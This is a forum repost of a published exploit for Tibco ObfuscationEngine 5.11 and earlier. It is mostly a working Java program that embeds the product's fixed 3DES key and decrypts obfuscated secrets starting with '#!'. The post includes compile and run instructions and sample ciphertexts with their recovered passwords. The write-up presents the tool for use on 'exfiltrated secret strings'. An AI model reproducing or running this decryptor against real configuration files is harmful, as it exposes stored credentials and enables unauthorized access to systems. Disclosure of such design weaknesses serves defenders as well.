Hoşgeldin Misafir

Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption Exploit--


Kod:
# Exploit Title: Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption
# Exploit Author: Tess Sluijter
# Vendor Homepage: https://www.tibco.com
# Version: 5.11x and before
# Tested on: MacOS, Linux, Windows
 
# Tibco password decryption exploit
 
## Background
 
Tibco's documentation states that there are three modes of operation for this ObfuscationEngine tooling:
 
1. Using a custom key.
2. Using a machine key.
3. Using a fixed key.
 
https://docs.tibco.com/pub/runtime_agent/5.11.1/doc/pdf/TIB_TRA_5.11.1_installation.pdf?id=2
 
This write-up pertains to #3 above. 
Secrets obfuscated using the Tibco fixed key can be recognized by the fact that they start with the characters #!. For example: "#!oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA".
 
## Issues
 
On Tibco's forums, but also on other websites, people have already shared Java code to decrypt secrets encrypted with this fixed key. For example:
 
* https://support.tibco.com/s/article/Tibco-KnowledgeArticle-Article-30338
* https://community.tibco.com/questions/password-encryptiondecryption
* https://community.tibco.com/questions/deobfuscatedecrypt-namevaluepairpassword-gv-file
* https://community.tibco.com/questions/bw6-password-decrypt
* http://tibcoworldin.blogspot.com/2012/08/decrypting-password-data-type-global.html
* http://tibcoshell.blogspot.com/2016/07/how-to-decrypt-encryptedmasked-password.html
 
## Impact
 
Regardless of country, customer, network or version of Tibco, any secret that was obfuscated with Tibco's ObfuscationEngine can be decrypted using my Java tool. It does **not** require access to Tibco software or libraries. All you need are exfiltrated secret strings that start with the characters #!. This is not going to be fixed by Tibco, this is a design decision also used for backwards compatibility in their software.
 
## Instructions
 
Compile with:
 
javac decrypt.java
 
Examples of running, with secrets retrieved from websites and forums:
 
java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA
7474
 
java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP
tibco
 
/* comments!
Compile with: 
                javac decrypt.java
                 
Run as:
                java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA
                7474
                 
                java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP
                tibco
 */
 
import java.io.ByteArrayInputStream;
import java.util.Arrays;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
 
 
class Decrypt
{
        public static void main (String [] arguments)
        {
                try
                {
                        byte[] keyBytes = { 28, -89, -101, -111, 91, -113, 26, -70, 98, -80, -23, -53, -118, 93, -83, -17, 28, -89, -101, -111, 91, -113, 26, -70 };
         
                        String algo = "DESede/CBC/PKCS5Padding";
                 
                        String encryptedText = arguments[0];
                        byte[] message = Base64.getDecoder().decode(encryptedText);
 
                        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(message);
         
                        Cipher decipher = Cipher.getInstance(algo);
 
                        int i = decipher.getBlockSize();
                        byte[] ivSetup = new byte[i];
                        byteArrayInputStream.read(ivSetup);
 
                        SecretKey key = new SecretKeySpec(keyBytes, 0, keyBytes.length, "DESede");
           
                        decipher.init(2, key, new IvParameterSpec(ivSetup));
         
                        // Magic, I admit I don't understand why this is needed.
                        CipherInputStream cipherInputStream = new CipherInputStream(byteArrayInputStream, decipher);
                        char[] plaintext;
                        char[] arrayOfChar1 = new char[(message.length - i) / 2];
                        byte[] arrayOfByte4 = new byte[2];
                        byte b = 0;
 
                        while (2 == cipherInputStream.read(arrayOfByte4, 0, 2)) {
                                arrayOfChar1[b++] = (char)((char)arrayOfByte4[1] << '\b' | (char)arrayOfByte4[0]);
                        }
                         
                        cipherInputStream.close();
   
                        if (b == arrayOfChar1.length) {
                                plaintext = arrayOfChar1;
                        } else {
                                char[] arrayOfChar = new char[b];
                                System.arraycopy(arrayOfChar1, 0, arrayOfChar, 0, b);
                                for (b = 0; b < arrayOfChar1.length; b++) {
                                arrayOfChar1[b] = Character.MIN_VALUE;
                                }
 
                                plaintext = arrayOfChar;
                                // End of Magic
                        } 
   
                        System.out.println(plaintext);
 
                }
 
                catch (Exception ex)
                {
                        System.out.println("Barf...");
                        System.out.println(ex);
                }
        }
}
 
#  0day.today [2020-12-12]  #